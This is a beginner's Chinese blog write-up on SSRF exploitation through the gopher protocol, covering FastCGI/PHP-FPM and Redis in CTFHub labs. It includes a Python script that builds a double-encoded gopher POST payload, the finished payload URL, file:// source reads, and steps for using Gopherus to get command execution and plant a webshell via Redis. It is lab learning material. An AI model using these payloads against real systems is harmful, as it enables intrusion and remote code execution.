初学ssrf的三个协议

本文介绍了SSRF漏洞利用中的Gopher、FastCGI和Redis协议。Gopher协议在 SSRF 中用于构造特殊请求,而FastCGI协议涉及Web服务器与动态脚本的交互,PHP-FPM未授权访问漏洞可能导致命令执行。Redis协议若未授权访问,可能导致数据泄露。文章通过实例展示了如何利用这些协议进行漏洞利用,并给出了相关工具和参考资料。
摘要由CSDN通过智能技术生成

gopher协议

什么是gopher协议呢?

Gopher是Internet上一个非常有名的信息查找系统。在WWW出现之前,Gopher是Internet上最主要的信息检索工具。但在www出现后,Gopher就没落了。
gopher协议支持发出GET、POST请求:可以先截获get请求包和post请求包,在构成符合gopher协议的请求。gopher协议是ssrf利用中最强大的协议

这个协议在各个语言的限制

 gopher协议的格式:

URL:gopher://<host>:<port>/<gopher-path>_后接TCP数据流

gopher协议默认的是tcp70端口。

ip后第一个字符在gopher不解析,所以用_来占位。

如果发送post请求,需要两次编码,第一次编码后将回车换行的%0A替换为%0D%0A,替换后再进行编码。如果有多个参数,则参数之间的&也进行url编码。

练习题目:ctfhub中的POST

我们使用file协议来读取index.php文件的源码。index.php在当前目录下

url=file:///var/www/html/index.php

能够查看到源码

<?php
error_reporting(0);

if (!isset($_REQUEST['url'])){
    header("Location: /?url=_");
    exit;
}

$ch = curl_init();   //初始化一次curl对话,ch返回curl句柄
//curl_setopt为 cURL 会话句柄设置选项。 
curl_setopt($ch, CURLOPT_URL, $_REQUEST['url']);    //curlopt_url需要获取的 URL 地址
curl_setopt($ch, CURLOPT_HEADER, 0);   //启用时会将头文件的信息作为数据流输出。
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);   // 位掩码, 1 (301 永久重定向), 2 (302 Found) 和 4 (303 See Other) 设置 CURLOPT_FOLLOWLOCATION 时,什么情况下需要再次 HTTP POST 到重定向网址。  
curl_exec($ch);  //执行
curl_close($ch);

curl_exec()函数可执行我们输入的参数。

我们用file协议读取flag.php,查看到flag.php的源码

<?php

error_reporting(0);

if ($_SERVER["REMOTE_ADDR"] != "127.0.0.1") {
    echo "Just View From 127.0.0.1";
    return;
}

$flag=getenv("CTFHUB");
$key = md5($flag);

if (isset($_POST["key"]) && $_POST["key"] == $key) {
    echo $flag;
    exit;
}
?>

上面代码要求我们只能在本地访问,那我们就访问127.0.0.1/flag.php。查看源代码可以看见key。

则我们需要将key值post传参。因为上面代码要求在127.0.0.1中post传参key值,所以我们不能直接post传,需要搭配gopher协议传key。

我们构造一个post包,改host为127.0.0.1,并直接访问flag.php。

POST /flag.php HTTP/1.1
Host: 127.0.0.1:80
Content-Length: 36
Content-Type: application/x-www-form-urlencoded
 
key=050a8579908e458e32497b1e96b08a28

对这个post数据包进行url编码。

手动复制替换太麻烦,直接白嫖大佬脚本,不得不说,真香~

import urllib.parse
payload =\
"""
POST /flag.php HTTP/1.1
Host: 127.0.0.1:80
Content-Length: 36
Content-Type: application/x-www-form-urlencoded
 
key=f0535a8b684c730542e243507c5246d9
"""  
tmp = urllib.parse.quote(payload)
new = tmp.replace('%0A','%0D%0A')
result = 'gopher://127.0.0.1:80/'+'_'+new
result = urllib.parse.quote(result)
print(result)      

得出结果后还需要再url编码一次。

最终payload:

gopher://127.0.0.1:80/_POST%2520/flag.php%2520HTTP/1.1%250d%250AHost:%2520127.0.0.1:80%250d%250AContent-Type:%2520application/x-www-form-urlencoded%250d%250AContent-Length:%252036%250d%250A%250d%250Akey=f0535a8b684c730542e243507c5246d9%250d%250a

抓包打入,得出flag。

 上述脚本会把'/'和':'等字符也进行url编码。注意自己构造的post数据包的Content-Length的长度。

FastCGI协议

 先说说什么是cgi。

全称"通用网关接口",它主要用于http服务器与其他机器上的应用程序之间通讯的工具,因为http服务器只能解析静态请求和静态程序。当遇到动态程序需要交给解析器来解析,cgi协议就是http服务器与解析器间的接口。

再来说说cgi的缺点(也是与fastcgi的差异)

传统cgi接口方式主要缺点是性能较差,每次http服务器遇到动态程序时都需要重启解析器来执行解析。然后把结果返回给服务器,但这种方式不能处理高并发访问。所以就诞生了fsatcgi协议

什么是fastcgi协议

fastcgi是一个可伸缩的高速的http服务器与动态脚本语言间通信的接口。主要优点就是把动态语言与http服务器分开。当http服务器每次遇到动态程序时,可以将该程序直接交付给fastcgi进程执行。然后得到的结果直接返回给客户端。这种方式可以让http服务器专一的处理静态请求,或者只是将动态请求处理结果返回给游览器,这很大程度上减少了http服务器的工作量,提高了性能。

说到这里,可能还是不太理解,接下来说说工作原理。

游览器访问静态页面过程中:中间件会查找改网站的目录文件,并发送给游览器。

 游览器访问动态页面时:由于中间件不能处理动态请求,它只能先把请求做一些简单处理,然后把它交给相应解析器。

 那么上图中的FPM又是什么呢

它是FastCGI进程管理器,说白了就是fastcgi解析器。用于替换php fastcgi大部分附加功能,对于高负载网站是非常有效的。并且提供了进程管理的功能。

攻击原理

举个例子,当我们访问http://127.0.0.1/index.php?a=1&b=2,当前web目录是var/www/html,那么Nginx会把这个请求处理为key-value键值对。

{
    'GATEWAY_INTERFACE': 'FastCGI/1.0',
    'REQUEST_METHOD': 'GET',
    'SCRIPT_FILENAME': '/var/www/html/index.php',
    'SCRIPT_NAME': '/index.php',
    'QUERY_STRING': '?a=1&b=2',
    'REQUEST_URI': '/index.php?a=1&b=2',
    'DOCUMENT_ROOT': '/var/www/html',
    'SERVER_SOFTWARE': 'php/fcgiclient',
    'REMOTE_ADDR': '127.0.0.1',
    'REMOTE_PORT': '12345',
    'SERVER_ADDR': '127.0.0.1',
    'SERVER_PORT': '80',
    'SERVER_NAME': "localhost",
    'SERVER_PROTOCOL': 'HTTP/1.1'
}

并把它传给php-FPM进行处理。这个数组其实就是PHP中$_SERVER数组的一部分,也就是PHP里的环境变量。但环境变量的作用不仅是填充$_SERVER数组,也是告诉fpm:“我要执行哪个PHP文件”。就比如这个,FPM就知道要访问index.php这个文件了。

PHP-FPM非授权访问漏洞

php-fpm默认监听9000端口。如果这个端口暴露在公网上,则我们可以构造fastcgi协议与fpm进行通讯。比如我们可以改SCRIPT-FILENAME为etc/passwd等。可以达到任意文件执行的效果。但是在PHP5.3.9之后,FPM默认配置中增加了security.limit_extensions选项,他会限定一些后缀的文件的访问,它默认是php后缀的文件。

我们还可以任意代码执行

想利用PHP-FPM的未授权访问漏洞,首先就得找到一个已存在的PHP文件。php.ini有两个配置,auto_prepend_fileauto_append_file

auto_prepend_file是告诉PHP,在执行目标文件之前,先包含auto_prepend_file中指定的文件
auto_append_file是告诉PHP,在执行完成目标文件后,包含auto_append_file指向的文件

我们可以设置auto_prepend_file为php://input,(还需要开启远程文件包含allow_url_include=on)在执行任意php文件时都要包含一遍post传入的内容。我们把待执行的命令放在fastcgi协议中的body部分就可以执行任意命令了。

参考链接:SSRF--gopher协议打FastCGI_Z3eyOnd的博客-CSDN博客_fastcgi协议

参考链接:Fastcgi协议分析 && PHP-FPM未授权访问漏洞 && Exp编写 | 离别歌

练个题目(ctfhub中的ssrf)

在这里就用gopherus工具来打一下,这种最方便。

用kali打开该工具(kali中没有该工具的,先在本地下载,然后拖进kali中)

进入到gopherus文件夹输入命令。

 选择一个指定的php文件,上面有讲。然后执行ls /查看根目录文件。得到的gopher数据进行url编码一次,(附上编码网站:https://www.iamwawa.cn/urldecode.html)

得到一个flag文件。

 再使用相同的操作将flag文件读取出来。

 最终得出flag。

 Redis协议

 redis是什么?

全称远程字典服务。它是一个基于内存实现的键值型非关系(NoSQL)数据库。

Redis 默认情况下,会绑定在 ip地址:6379。如果没有进行采用相关的策略,比如添加防火墙规则避免其他非信任来源 ip 访问等,这样将会将 Redis 服务暴露到公网上,如果在没有设置密码认证(一般为空),会导致任意用户在可以访问目标服务器的情况下未授权访问 Redis 以及读取 Redis 的数据。

因为是初学,在此就利用简单介绍gopherus工具打redis。(主要就会这一种)

利用ctfhub上的题目

还是一样,利用gopherus工具来生成gopher协议。

先写一个shell.php名,然后指定web目录。最后写入shell

 生成的gopher协议再url编码一次。打了会出现502超时。不过不要紧,我们访问一下web目录下的shell.php。

 因为我们传了一句话木马,所以我们用蚁剑连接。在根目录找到flag。

 相关链接:SSRF---gopher和dict打redis_Z3eyOnd的博客-CSDN博客_gopher redis

  相关链接 :https://www.cnblogs.com/linuxsec/articles/11221756.html

结语

因为是初学,这三个协议了解的非常浅。ssrf漏洞是比较综合的漏洞,想要深入了解还需要费些时间。最近在应对考试,没有过多时间投入。之后深入学习后再通过例题进行总结。

评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

XiLitter

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值